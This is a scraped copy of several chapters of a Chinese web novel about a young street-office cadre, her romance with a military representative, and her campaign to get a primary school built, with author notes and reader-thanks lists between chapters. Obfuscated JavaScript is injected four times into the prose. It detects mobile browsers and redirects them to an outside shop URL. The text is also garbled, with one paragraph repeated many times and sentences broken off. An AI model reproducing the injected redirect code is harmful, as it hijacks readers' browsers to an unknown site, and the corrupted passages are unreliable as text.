d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038373|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的生产情况。 总之就是物资储备充足,形势一片大好,完全不需要担心。 但三嫂总不会冒着被家人误解的风险,无缘无故储备粮食吧? 既然她说是过两年,那也许就是过两年才会发生的事。 事情没到眼前,叶满枝心里没多少紧张情绪,会下意识买点罐头糖果什么的。 可惜她意志薄弱,东西买回来就被她吃了。 这让她默默在心里佩服了一下三嫂的自制力。 * 叶满枝抽空去了一趟二姐家,给她送了一袋奶粉和小半篮子鸡蛋。 徐大娘不客气地挑理:“都是亲生的兄弟姐妹,你三嫂前天送了两袋奶粉和两袋麦乳精,还送了一只小公鸡。你现在好歹也是干部了,怎么还不如你三嫂大方?” “大娘诶,您可真行,哪有当着送礼人的面挑礼的?” “你们是亲姐俩,我有啥不能说的?” 叶满枝笑吟吟道:“我跟我姐是亲姐俩,跟您又不是亲姐俩。得亏我姐是亲的,否则被您这样排揎一顿,我下次就不来了!” “你看你这孩子!” “嘿嘿,大娘,我现在已经是街道干部了,”叶满枝毫无负担地吹牛,“平时都是人家给我送礼的,我能往您家送礼,您就偷着乐吧!” 徐大娘一听就来精神了,赶紧瞪着眼睛问:“现在真有人给你送礼啊?” “那当然了,有人直接往我手里塞钱!不过,我没收,还给领导报备了。我们当干部的要遵守党政干部三大纪律,八项注意,不拿群众一针一线!” 徐大娘被她忽悠得一愣一愣的,心说这叶家小闺女真的发达了。 说起话来一套一套的。 叶满枝不再搭理她,拉着二姐回了她的房间。 “姐,你这肚子咋这么大了?我都不敢靠近你肚子。” “快生的肚子都这么大。”叶满玉低声说,“我婆婆就那样,你别跟她一般见识啊!” 叶满枝不以为意,“难缠老太太我见得多了,你婆婆这样的放在我们街道办都端不上桌!” 二姐温柔地笑:“就你厉害!” “我跟咱妈给你买了好多东西呢,不过三嫂给你送过一次了,我就没把东西全拿过来。”叶满枝撇嘴说,“你婆婆和小叔子都在家,我姐夫也是个嘴馋的,给你拿太多东西,一准儿得进 他们的肚子里!过两天让咱妈再来一趟一点一点给你送东西。不给他们吃!” 二姐没管那些吃的拉着她问:“你最近工作咋样?我怎么听说有人为了孩子上学的事把街道干部打了呢?你没被人欺负吧?” “挨打的不是街道干部是一位扫盲班的老师。” 提起这事叶满枝也不禁叹气。 穆主任说得没错孩子不能上学真的可能闹出大乱子来。 街道组织的扫盲班接收了一批学龄儿童。 扫盲班是不收费的这些孩子来上课当然也不用交钱。 这就让很多家长动心了。 原本不着急上学的也被家长送来扫盲班上课了。 能让孩子免费学知识还有人帮忙看孩子大家当然乐意呀! 孩子们是那位退休教师做主收下的等叶满枝和穆主任了解到情况的时候 另外还有不少家长准备往扫盲班送孩子。 街道扫盲班又不是幼儿园也不是正经学校当然不能接收这么多学生。 穆主任很快就出面叫停了。 有些家长因此心存怨念把那天在场维持秩序的迟东升给打了。 迟东升在大院儿里混了这么多年当然不可能被动挨打。 挨打变成了互殴事情闹大以后双方都进了派出所。占理的迟东升不依不饶事情闹得不算小连二姐这边都听说了。 因为这件事穆主任又往656厂跑了好几趟甚至还特意摆酒请客招待了一个副厂长。 可惜请客效果不佳。 叶满枝寻思连穆主任都亲自上酒桌拉关系了她总不能袖手旁观吧? 她在厂里有吴峥嵘的关系在其实可以适当用一用的。 叶满枝打定了主意下班后就跑去了军代室打算亲自跟军代表同志拉拉关系。 吴峥嵘还处于尚未转正的追求阶段按理说应该拿出诚意积极表现。 何况叶满枝从不找他办事难得开口一次还是为了公事。 但他沉吟了一阵仍是选择客观地跟她谈一谈办学的事情。 “现在厂里正在扩建分厂建设资金和生产资金的 缺口都很大。在已有一所子弟小学的情况下厂里不太可能拨款筹建分校。” “但现在子弟小学的师资力量跟不上很多孩子失学呀!” “来芽我可以建议厂里多给子弟小学分配几名教师把失学的孩子尽快安排进去读书。但是你们街道提出的合办小学的提议厂里暂时不会考虑现在不是拨款建分校的合适时机。” 叶满枝暗道能办一件是一件若是能把扫盲班的一部分孩子安排到正规学校念书也算是解了燃眉之急。 至于656厂以外的孩子要如何安排就走一步看一步吧。 在小学生读书的事情上叶满枝不怕给他添麻烦追问道:“真的能给子弟校增加教师吗?” 吴峥嵘郑重其事道:“领导难得给我指派任务我肯定要尽心尽力完成的。” 叶满枝笑:“那我可就等你好消息啦?” “嗯。” 叶满枝知道他现在忙得分身乏术说完正事就准备离开了。 然而她刚起身就被吴峥嵘按着肩膀坐了回去。 “这周末我有个同学聚会你跟我一起去吧?” “你的同学聚会让我去干什么?” “你说呢?” “我不知道。” 见她装傻吴峥嵘不禁失笑:“你觉得我现在会有兴致参加同学聚会么?” 作为厂子弟 “你不是想要公办小学的指标么我有个同学的爱人是市教育局的。被区里堵死的事情也许可以从市局想想办法。”吴峥嵘轻笑“不过同学聚会要携家属出席想跟我一起出席的话就得委屈你给我当一天家属了……” 作者有话要说 一百个红包明天见~ 感谢在2024-07-2812:01:16~2024-07-2911:59:34期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出手榴弹的小天使:三分钟热度、是HyunA1个; 感谢投出地雷的小天使:土□□gnzc、冷空气、580970681个; 感谢灌溉营养液的小天使:锦瑟78瓶 第 35 章 同学聚会 叶满枝刚毕业几个月,连自己的同学会都没参加过。 但她对吴峥嵘的同学聚会期待满满,总觉得能由此窥探到他的另一面。 “这次同学聚会只有五六人,没你想得那么复杂,不用紧张。” 叶满枝刚毕业几个月,连自己的同学会都没参加过。 但她对吴峥嵘的同学聚会期待满满,总觉得能由此窥探到他的另一面。 “这次同学聚会只有五六人,没你想得那么复杂,不用紧张。” 叶满枝刚毕业几个月,连自己的同学会都没参加过。 但她对吴峥嵘的同学聚会期待满满,总觉得能由此窥探到他的另一面。 “这次同学聚会只有五六人,没你想得那么复杂,不用紧张。” 叶满枝刚毕业几个月,连自己的同学会都没参加过。 但她对吴峥嵘的同学聚会期待满满,总觉得能由此窥探到他的另一面。 “这次同学聚会只有五六人,没你想得那么复杂,不用紧张。” 叶满枝刚毕业几个月,连自己的同学会都没参加过。 但她对吴峥嵘的同学聚会期待满满,总觉得能由此窥探到他的另一面。 “这次同学聚会只有五六人,没你想得那么复杂,不用紧张。” 叶满枝刚毕业几个月,连自己的同学会都没参加过。 但她对吴峥嵘的同学聚会期待满满,总觉得能由此窥探到他的另一面。 “这次同学聚会只有五六人,没你想得那么复杂,不用紧张。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038374|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶满枝刚毕业几个月,连自己的同学会都没参加过。 但她对吴峥嵘的同学聚会期待满满,总觉得能由此窥探到他的另一面。 “这次同学聚会只有五六人,没你想得那么复杂,不用紧张。” 叶满枝刚毕业几个月,连自己的同学会都没参加过。 但她对吴峥嵘的同学聚会期待满满,总觉得能由此窥探到他的另一面。 “这次同学聚会只有五六人,没你想得那么复杂,不用紧张。” 叶满枝刚毕业几个月,连自己的同学会都没参加过。 但她对吴峥嵘的同学聚会期待满满,总觉得能由此窥探到他的另一面。 “这次同学聚会只有五六人,没你想得那么复杂,不用紧张。” 第 36 章 你嘴唇真好看。 在江畔餐厅点菜的时候,叶满枝细数了一下吴峥嵘手里的毛票。 花花绿绿一厚沓,总共只有三块六。 今天参加聚会的同学和家属有十来人,按照每人一道菜的标准点菜,再加上主食,正好花了十二块钱。 叶满枝望着江面感叹:“你这牌局赢得有点亏啊,还得倒贴好几块。” 幸好在国营饭店吃饭暂时不用粮票肉票,否则今天真是亏大了。 吴峥嵘不以为意道:“不是我和牌,就是老陈和牌。我还想请他回去吹枕边风,总不能让他既出钱又出力。” 叶满枝问:“这次请嫂子帮忙,让你欠人情了吧?” 吴峥嵘不屑用这种小事邀功,语气寻常道:“权当是为了小学生吧。” “那我替小学生们领你的情。”叶满枝弯着眼睛笑,“一会儿还要打牌吗?要不我请你划船去吧!我读书的时候经常跟同学来江边划船,划得可好了!” 饭局结束后,大家自由活动,贺望兰号召女同志去江边游泳。 叶满枝没带泳衣,便跟吴峥嵘坐在院子里看风景。 这间木刻楞房的地理位置优越,视野开阔,在家就能眺到江景。 距离他们不远的江边全是游泳的市民,更远一点的江面上,还漂着许多小舢板。 她也想划船。 吴峥嵘想象了一下,自己像个大爷似的坐在船上,让姑娘吭哧吭哧划船的情景,委婉拒绝道:“你刚才喝了不少葡萄酒,现在去划船恐怕会晕船。” “好吧。” 叶满枝确实喝了不少,金萍说她酿的葡萄酒不太成功,没什么酒劲儿,可以当饮料喝。 她不知不觉喝了好几杯,当时没感觉,饭后就有点晕乎了。 见她眼里明晃晃写着失望,吴峥嵘停顿片刻,再次提议,“你想坐船的话,可以去坐轮船。” “轮船不是去其他城市的吗?” “也有短途的轮渡,经停市里的三个区县。一会儿咱们可以坐轮渡回去,在东源码头下船,然后搭车回厂里。” 吴峥嵘原就打算与叶满枝提前告辞,否则也不会只赢了三四块钱就早早结束牌局。 其他人都是正经两口子,玩到多晚都没关系,但叶满枝是未婚姑娘,晚上还 要按时回家。 叶满枝一直以为那些大轮船是开往其他城市的此时听说可以停靠东源码头忙不迭点头道:“那咱们就坐轮船吧!” 最近的一班轮渡在半小时后出发吴峥嵘与还在打牌的几人招呼一声便带她上了船。 短途轮渡的票价比公共汽车贵了五分钱周末傍晚的乘客并不多。 叶满枝从船舱里走出来在甲板上选了一个视野最开阔的位置坐在第一排吹晚风。 “船票这么贵平时会有人坐轮渡吗?” “码头上有月票卖每天往返的话坐船比公共汽车划算。” 两人并肩吹着初秋的江风漫无目的地交谈气氛惬意而松弛。 吴峥嵘觉得黄昏的江风变凉了正想问她要不要进船舱突然感觉自己腿上一沉。 他低头看过去与一个身高只到他膝头的小女娃对上了视线。 小朋友抱着他的腿喊了声“叔叔”然后一串口水从嘴角流出经过下巴滴到了他的裤子上。 吴峥嵘:“……” 叶满枝不厚道地笑出声“宝宝你爸爸妈妈呢?” 小女孩睁着乌溜溜的大眼睛随手往后指了指又自来熟地抓住吴峥嵘的手。 吴峥嵘的双手顿在半空半天都没有进一步动作像是不知该握住还是该狠心甩开。 他猜这孩子也许是相中他的座位了他俩坐在甲板的第一排只有这个位置可以直面江景算是整条船的黄金观景位。 吴峥嵘连自己的侄子侄女都没抱过不会抱孩子也不想抱别人家的孩子。 他站起身一边将小女孩提溜起来放到座椅上一边向叶满枝求助:“先找找她的家长……” 难得见他手足无措叶满枝心想饶是你智慧如海又能怎么样?面对幼崽还不是照样抓瞎? 她抵着下巴笑了一阵回头望向身后时见到一个年轻女人正走出船舱左右张望。 她赶忙冲对方招招手示意她孩子在这边呢。 孩子妈妈跑过来连声对两人道歉。 吴峥嵘表情难看地说:“今天风大浪也大 孩子妈妈再次低 声道歉,想带着女儿离开,小姑娘却抓着座椅边缘不肯走。 叶满枝将座位留给这母女俩,拉着吴峥嵘去了甲板后面。 她背靠着船舷调侃:“连小朋友都知道你长得好看,专门找你要抱抱。 “她明明就是看中了船头的座位。 “我的座位就在旁边,她怎么不找我?叶满枝笑眯眯道,“一定是看出这个叔叔最英俊了! 他今天可是装在金镶玉盘子里的东坡肉,小丫头还挺有眼光的。 吴峥嵘眸光微动,定定地与她对视,突然问:“今天喝多了么? “应该没有吧。叶满枝抿嘴笑。 她的状态只算微醺,增一分显得唐突,减一分则少了色胆。 吴峥嵘盯着她的目光很沉,眼里意味不明,“叶满枝,我今天没穿军装。 “嗯。 叶满枝仰头望向他。 身后是落日余晖,满江碎金,晚风拂上他的额发,在夕阳的映衬下,眉清目朗,顾盼生辉。 她心跳微微加快,隔了好一会儿,才用只有晚风和彼此能听到的声音说:“你眼睛真好看。 男人的眼里随之染上笑意,声音低沉缓慢:“甲板上没有其他人,从船舱里也看不到这边。 “嗯。 叶满枝脸颊通红,心跳不停攀升,空气似乎突然变得稀薄了。 她绞着手指踟蹰许久,终于在对岸鸣响汽笛时,迎上他的目光说:“其实,你的嘴唇…… 余音未尽,吴峥嵘猛地噙住她的唇瓣。 一手护住她后仰的脊背,一手顺着玲珑曲线抚上腰侧。 叶满枝眼皮滚烫,她觉得今天从头到尾就是一个圈套,从见面的那一刻开始,对方就在故意引诱她。 无时无刻,潜移默化,屡次三番,攻势密集。 她才十八岁,对这样的男人动心是可以被理解和原谅的,对吧? 对方呼出的气息温热干净,亲吻急切又温柔。 她被吻得透不过气,双手紧紧攀着他的胸膛,衬衫被她攥得凌乱不堪。 船舱里偶尔会传出交谈声,叶满枝紧张得呼吸微喘,贴着他的嘴唇,含糊不清道:“有人。 “他们看不见。 吴 峥嵘从她红肿的唇上离开,安抚地在腰侧拍了拍,见她眼底水光潋滟,不禁再次低头吮吻,伸手将人抱进了怀里。 …… 短途渡轮的航行时间并不长,叶满枝晕晕乎乎走下舷梯时,又碰到了那个抱大腿的小女孩。 那孩子趴在妈妈肩膀上,向后冲吴峥嵘招手喊“叔叔”。 吴峥嵘的态度简直是一百八十度大转弯,堪称春风和煦。不但开口答应了,还挥手跟人家说了再见。 叶满枝偏头偷笑,随着他走出码头。 东源码头是附近最大的客运中心,除了公共汽车,还有许多排队等客的人力黄包车。 人力车被视作剥削阶级的产物,吴峥嵘婉拒了几个上前揽客的黄包车夫,准备前往汽车站。 然而,叶满枝却忽地拉住他,在一辆三轮车前停了下来。 “巧儿,你怎么跑到这里来了?” 薛巧儿穿着粗布褂子,戴着帽子,脖子上还挂着一条毛巾,不仔细观察的话,很容易被错认成身形瘦小的男人。 她从三轮车上跳下来,笑着说:“小叶干部,我已经转去黄包车队了!之前不是在车上安了一个遮雨棚嘛,我现在可以用三轮车拉客了!” “你这个想法不错呀!拉人可比拉那些重货轻松多了!赚得应该也不算少吧?”叶满枝连忙问,“现在赚的钱够你们娘几个花吗?” 法院已经给薛巧儿和郑东判定离婚了,前阵子薛巧儿带着四个孩子搬出了郑家。 不过,她白天要赚钱,四个孩子没人带,只能送去让郑东看着,等她晚上收了车,再将孩子接回自己租的房子。 薛巧儿的精神面貌比以前好了不少,虽然更黑了,但说话时眼瞳很亮,“勉强够我们几个吃喝的,想送孩子上学的话,还得再多赚点。小叶干部,你要回光明街吗?坐我的车回去吧?” 叶满枝心知吴峥嵘不可能坐她的车,其他人还罢了,但是以他的身份,坐人力黄包车确实不太合适。 她笑着说:“我还要再转转,你先忙吧,家里有什么解决不了的困难就来街道办找我们。” 薛巧儿连连点头。 两人走远后,吴峥嵘皱眉问:“你跟她关系很好吗?” “还行吧,”叶满枝以为他介意薛巧儿 的出身,轻声解释说,“她是个苦命人,其实人不坏。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101182|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 吴峥嵘并不认识什么薛巧儿,只是见她似乎很关心对方,才出言提醒:“现在各地都要发展公共交通,上海已经率先让人力车进入博物馆了。滨江很可能也会马上取缔黄包车,你有机会跟她提一提,人力车夫的工作恐怕干不长。” “啊?” 叶满枝刚在心里感叹薛巧儿苦尽甘来,就听到这样的“噩耗”。 载人要比拉重物更适合薛巧儿。 这份工作怎么就干不长呢? 那她现在还能不能转回运输队啊? 她胡思乱想了一路,快要走进军工大院的时候,吴峥嵘拉住她问:“咱俩总该有个正式名分了吧?我什么时候能登门?” 叶满枝当然不可能亲过就算了。 但她还没想好怎么跟家里说呢,她骄傲地昂起下巴说:“登门着什么急啊?你不是要跟我谈恋爱嘛,先谈着再说。” 吴峥嵘笑:“行,那我等领导通知。” 两人的名分定下来,他就不着急了。 在家属院要顾及叶满枝的名声,所以只将人送到门口,他便停下了脚步。 虽然不能上门,但是只要不出意外,叶守信就是他未来老泰山了。 所以,次日在厂门口碰到叶工长的时候,他主动喊了声“叶叔”。 叶守信随意“嗯”了一声,仰脸朝天地走了。 同车间的老陈见了,稀奇道:“老叶,你咋回事?军代表跟你说话,你咋爱搭不理的呢?” 叶守信再次哼了一声:“你懂个屁!” 他就知道,当初那瓶茅台送得蹊跷,幸亏他没听闺女撺掇,请那吴峥嵘喝酒! 作者有话要说 晚9点还有一更~ 一百个红包,晚上见~ 感谢在2024-07-3012:04:49~2024-07-3112:02:19期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:ggnzc、白发浴红衣2个;墨语、星星点点1个; 感谢灌溉营养液的小天使:水浒少年90瓶;叶叶咯60瓶;vicky59瓶;原来是GaGa啊!50瓶;墨染槿涩46瓶;未晞38瓶;英 俊、禾乌昂30瓶;锡兰24瓶;御前崎新茶、散发扁舟中、总总要暴富、白日梦想家、最最可爱的碇真嗣酱、阿云20瓶;安安18瓶;黑桃奶15瓶;明日复明日、苏阿白、喵嗷~11瓶;市井人家、我是一条虫、二美啊、糖宝、西瓜消灭大户、59022081、岁岁年年、WAY、芸曦、木木mumu、小鸭子、城阳呼呼、遥远、nnnnnmmmm、青木瓜沙律、枣夹核桃10瓶;小木沐虫、是阿楚啊、luoxueshi58瓶;茜嘻7瓶;楠楠、花间一壶梨花酒6瓶;晓书虫、默默、秦瑟、今天也很困、Estelle、colin简、zjzdoyouknow、吧啦吧啦吧啦哒、头秃囡囡、玉儿、周防礼司、期二、暖白芷、土豆妈妈、一帘媚阳、蚊子包5瓶;李木木、.泪海的盐、一尾冷水鱼、喵喵喵巴黎梦、柳西莫、七七、于是3瓶;糖吃糖、不出、妖精的镜子、48947898、小龙女□□、iuv~v、natsuki2瓶;妮妮、七七四十九、胖金、梦、时闻、静静是谁、欧贝斯、蓉、洛洛子、两颗糖z、咿呀咿呀哟、小鱼尾巴、YU、可爱丸、60536178、parallel、……、阳光、泥鳅鱼娃娃、南征、最丫丫丫的兔、CiCi、墨陌、rebecca、胖蟹、颜渊凌熹、小野盛盛、丰丰山心、金色年华、ohlroys、47504857、49656349、两一一柯、落叶缤纷、乳酸菌、helloza、再瘦10斤、花花家的虎虎、动物园园长、只想躺平、明月松间照、墨语、北桥楠木、灿烂女孩、玖陈林、糖心荷包蛋、追的文都不断更、蓝雨、吃饭了吗、柠檬真好恰、陌上蒹葭、tingt、双熙、69208282、纯爱战士、kimpl0913、柏、啦啦啦、巧克力张张包、27919386、透过窗户看日出、菜鸟月月、若的闲时、嘀嗒嗒、∞、秋秋糖、有好吃的饭吗、柠檬的柠的檬、呜咪、D、27237549、37087880、贵宾小甜甜、筱筱、乐嫣、69438900、竹秋、明孞、刘文文文文文文文文文、行走的海豚、57089820、54、6863761、快睡觉?、可尔必思、eijun、略略略、球球、小鸣、bingmay、冒泡泡、hoshi、今天吃糖了吗1瓶; 非常感谢大家对我的支持我会继续努力的! 第 37 章 小叶干部:先骗一... 叶守信能从一个农村放牛娃,混成如今的七级焊工、车间工长,还是有些人生智慧的。 自从媳妇向他透露了小闺女谈对象的消息,还让他观察一下厂里的大学生,叶守信就直接把目标锁定在了吴峥嵘身上。 根本就没考虑过第二个人选。 他养的闺女,他最了解了。 什么大学生啊,搞技术的啊,都是模糊焦点的烟雾弹。 甭管是东西还是人,这丫头向来喜欢好看的。 厂里哪个大学生有吴峥嵘好看? 而且前阵子大院儿里有人看到他俩在舞会上跳舞了,被人问到面前时,叶守信一律以“不知道”“不可能”“瞎扯淡”应对,但他心里还是有些计较的。 关键是,吴峥嵘给来芽送过茅台啊! 送酒的原因被来芽解释得含含糊糊,不清不楚,他一听就觉得有猫腻。 茅台那么珍贵,一个男的凭啥无缘无故给女的送酒? 呵呵。 种种迹象表明,这人十有八九就是吴峥嵘。 因此,当天下班回家后,他就把这个结论分享给了媳妇。 常月娥怀疑道:“你是不是想多了啊?这事要是弄错了,可就尴尬了。” “错不了,他以前都喊我叶工长的,今天主动喊我叶叔了,”叶守信分析得头头是道,“整个656他只管我老叶喊过叔,那是皮裤套棉裤,必定有缘故的。” 闺女的对象如果真是吴峥嵘,常月娥没啥可挑剔的,俩人以前就相过亲,还是组织介绍的,出不了大错。 “上次他来院儿里做防空警报动员,我都没看清正脸,瞧着倒是挺高,标版溜直的。要不让来芽把人带回来看看?” 叶守信背着手转悠了两圈,摇摇头说:“咱俩就只装作不知道,别去问她。” “这种事有什么好装的?” “小吴要是来了咱家,来芽是不是也要去他家?双方一旦相互见了家长,距离办喜事的日子也就不远了。你想想当初老大老二结婚的时候,是不是这个流程?一两个月就扯证了。” 吴峥嵘已经26了,家里肯定着急他的婚事。 而来芽才18,他们老叶家不着急。 尽管那次相亲是他老叶主动争取的,但此一时 彼一时嘛,他闺女现在有工作,还是国家干部,结婚着什么急? “这事你得听我的,一定要稳住!咱又不知道他俩谈到啥程度了,闺女不主动提,咱们就假装没发现! * 夫妻俩决定暂时装傻,而叶满枝认为,恋爱初期没必要大肆宣扬。 反正她没打算刻意隐瞒,等家人问起时,她顺势通报一下就好了。 她心里正惦记的,是那个小学的建校指标。 金萍那边还没有回信,但这事得提前跟穆主任透个口风。 万一市局有了动静,街道办这边还全无准备,会让领导很被动。 因此,她在心里合计了一番后,将周末与金萍交谈的大致情况,与穆主任汇报了一下。 “街道垫资的提议,市领导不同意吗?穆兰问。 “市局对小学指标控制得挺严, 穆兰拧眉沉思了起来。 新建小学和扫盲学校还不一样。 扫盲学校是阶段性的工作,随便找个闲置院子,拾掇拾掇就能上课了。 但公办小学要修建正规校舍,建校费用保守估计要一两千块。 这么大一笔资金的来源是个问题。 当天的街道例会上,穆兰把建小学的事在单位内部通报了一下。 “最近大家的工作都很有成效,尤其是小叶那边,扫盲班抓得不错,656厂也同意给子弟小学多配三名老师,算是解决了部分小学生入学难的问题。不过,街道建小学这事,需要的资金不是小数目,咱们集思广益,想想办法吧。 按照叶满枝的估计,最有可能反对筹资建学的人,应该是张勤简。 她心里已经做好准备迎接他的挑刺了。 然而,张勤简这次并没急着开火,率先提出异议的人,居然是跟她关系还不错的庄婷! “主任,我觉得由街道出资办学并不合理,建学校本就是教育局的工作,他们现在把矛盾转嫁到基层来,纯粹是给咱们增加负担。 有了庄婷打头阵,刘金宝也表示反对,“咱们街道本就不富裕,几千块的建校资金拿出去,很可能会影响其他工作 。最近快到国庆了,市里要求咱们在街上挂彩旗、拉横幅,要花不少材料费。那点经费咱们自己都不够花,怎么能往学校身上贴补?” 刘金宝觉得叶满枝这事办得太想当然了。 完全不考虑街道办的实际情况。 修建小学根本不是街道的工作,这不是没事找事,往自己身上揽麻烦吗? 叶满枝理解他的顾虑,但还是解释说:“修建小学不是咱们街道的工作,但确保学龄儿童有学上,是咱们的工作……” “小叶,”魏珍以一种无奈的口吻说,“你还是太年轻了,什么事都要求十全十美。基层工作没有一蹴而就的,小学建校资金紧张是客观事实,全市甚至全国都一样。小学生今年不能入学,那就再等等,等国家缓过这口气来,有资金建校了,再办也不迟!” 赵二贺抱着手臂问:“魏姐,要是教育局一直不给指标,还要让小学生一直等着啊?你自家孩子要是到了年龄不能上学,也要一年一年等下去吗?” 魏珍一拍桌子说:“公事私事能混为一谈吗?我就告诉你,如果我家孩子不能上学,我愿意体谅国家的难处,让孩子在家自学!即使咱们现在开始建校,真正投入使用也要等到明年了,小学生照样要晚一年入学。现在着急忙慌建学校有什么意义?” 叶满枝听说他俩最近在福利工作上闹得不太愉快,但是拿小学建校的事情别苗头,让她有点心烦。 她之后都没再发言。 穆兰的本意是让大家一起想办法搞钱,而不是泼冷水。 这么多人反对建小学,是她也没预料到的。 最后举手表决的时候,只有叶满枝和赵二贺同意筹款建校。 凤朝阳弃权。 庄婷、刘金宝、魏珍、张勤简,投了反对票。 这个结果,让叶满枝有些意兴阑珊。 为了争取建校指标,她连吴峥嵘的人脉都用上了。 可是,指标还没下来,街道办内部居然先起了内讧…… 她下午没再去管办学的事,给一对新人办了结婚登记手续,便按时下班了。 吴峥嵘这会儿肯定还在厂里加班,而且以他的脾气,八成不会心疼舍出去的人情,反正她已经领情了。 她先去开了甲字16号信 箱,取出了吴峥嵘留下的字条。 上面只有寥寥几个字——“满月居于夜空。” 叶满枝下意识往天上瞅了瞅,还没天黑呢。 这话啥意思?字谜吗? 想不明白,她就不想了,把字条放好,背着包去找林青梅交换工作心得了。 林青梅在区文化局工作,办公室生态比街道办复杂得多。 听她讲了开会经过,又详细问了每个人的发言内容,推测道:“你这就是当局者迷呀!” “我迷什么了?” “你们的办公经费只有那些,给你拿去办学校了,其他人需要经费开展工作的时候怎么办?你这是引起众怒了!” “我们那点办公经费,连盖厕所都不够用,肯定要从外面想办法筹款的。” “上千块的办学经费,单凭你自己能全部筹齐吗?是不是还要其他人参与筹款工作?”林青梅哼笑,“学校建起来以后,头功肯定是你们主任的,然后是你这个分管教育工作的,其他人得不到好处,人家凭啥同意建学校啊?” 叶满枝无语:“其他人的工作我也经常帮忙啊,卫生、安全、宣传这些不是我的工作,他们找我帮忙的时候,我还不是照样干!” “哎呀,算了,我搞不懂你们单位那些事。” 林青梅也是职场新人,并不比她成熟多少。 能给出这些建议已经是极限了。 “你回去问问你家吴团长,人家是跟厂领导坐一桌的,肯定比咱们懂!” 提起吴峥嵘,叶满枝又想起了她刚拿到的那张字条。 “你说,‘满月居于夜空’是什么意思啊?” “就是大月亮挂在天上的意思呗,”林青梅嘻嘻笑,“我这点文学素养,只能写报告糊弄糊弄我们领导,其他方面是指望不上的。” * 叶满枝没能从青梅这里得到答案,但“糊弄领导”这四个字倒是听到心里去了。 回家以后,先抱着小猫蹂躏了一阵肚皮,而后便坐到书桌前写起了日记。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101183|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 练字过程太枯燥了,她最近已经把写字帖换成了写日记。 先把吴峥嵘那张字条放进专属饼干盒,然后在笔记本第一行写下“满月居于夜空”,紧接着批注——“不知所云。” 记录了今天的工作内容,以及例会上每个人的发言以后,叶满枝又在日记最末尾罗列了可以“糊弄领导的一二三条。 她修改了几遍,确定没什么问题后,次日上班时主动找到了穆主任。 以防隔墙有耳,她还把人请去了院子里。 “什么事这么神神秘秘的?穆兰笑问。 “还是建学校的事。 “筹款确实麻烦了些,但学校肯定要建,先等市里的回信吧。 叶满枝小声说:“主任,我觉得筹款不是关键,关键还是那个指标。只要有了指标,咱想怎么建校就怎么建校,市里拿咱们也没办法,总不能把指标收回去吧? “嗯,你想到什么主意了? “我觉得咱们面对市局的时候,一定要态度坚决,不能表现出半点犹豫。叶满枝凑近她说,“现在已经入秋了,咱们这边秋天短,再有一个月就能入冬。冬天容易冻土,不适合盖房子,等到明年开春能动工的时候,至少还要四五个月。 “反正咱们已经有办学指标了,这期间先让教育局划地皮、分配教师,然后咱们找个小院子,让那几十个一年级小学生直接开学,对外就说咱们一边教学,一边修建新校舍,两不耽误。 穆兰咂摸着她话里的内容,接着说:“入冬后的这段时间,咱们可以想办法筹集建设资金,筹齐了就盖学校,筹不齐就再等等。反正这些孩子已经上学了,不可能就地解散。要是能等到教育局恢复对小学的拨款,那就更好了。小叶,你是这个意思吧? “嘿嘿,差不多吧。 穆兰好笑地嘟哝:“这是在跟领导耍赖皮吧?你这不是想申请一个指标,而是想骗一个指标啊! 作者有话要说 一百个红包,明天见~ 感谢在2024-07-3112:02:19~2024-07-3120:45:38期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:riki1个; 感谢灌溉营养液的小天使:远足78瓶;1718655470瓶;曰誠.、小楼又东风、请叫我学霸50瓶;游若惊鸿、顏燕鹽40瓶;蛇院黑公主31瓶;11742636、颜无水、总总要暴富、枫糖30 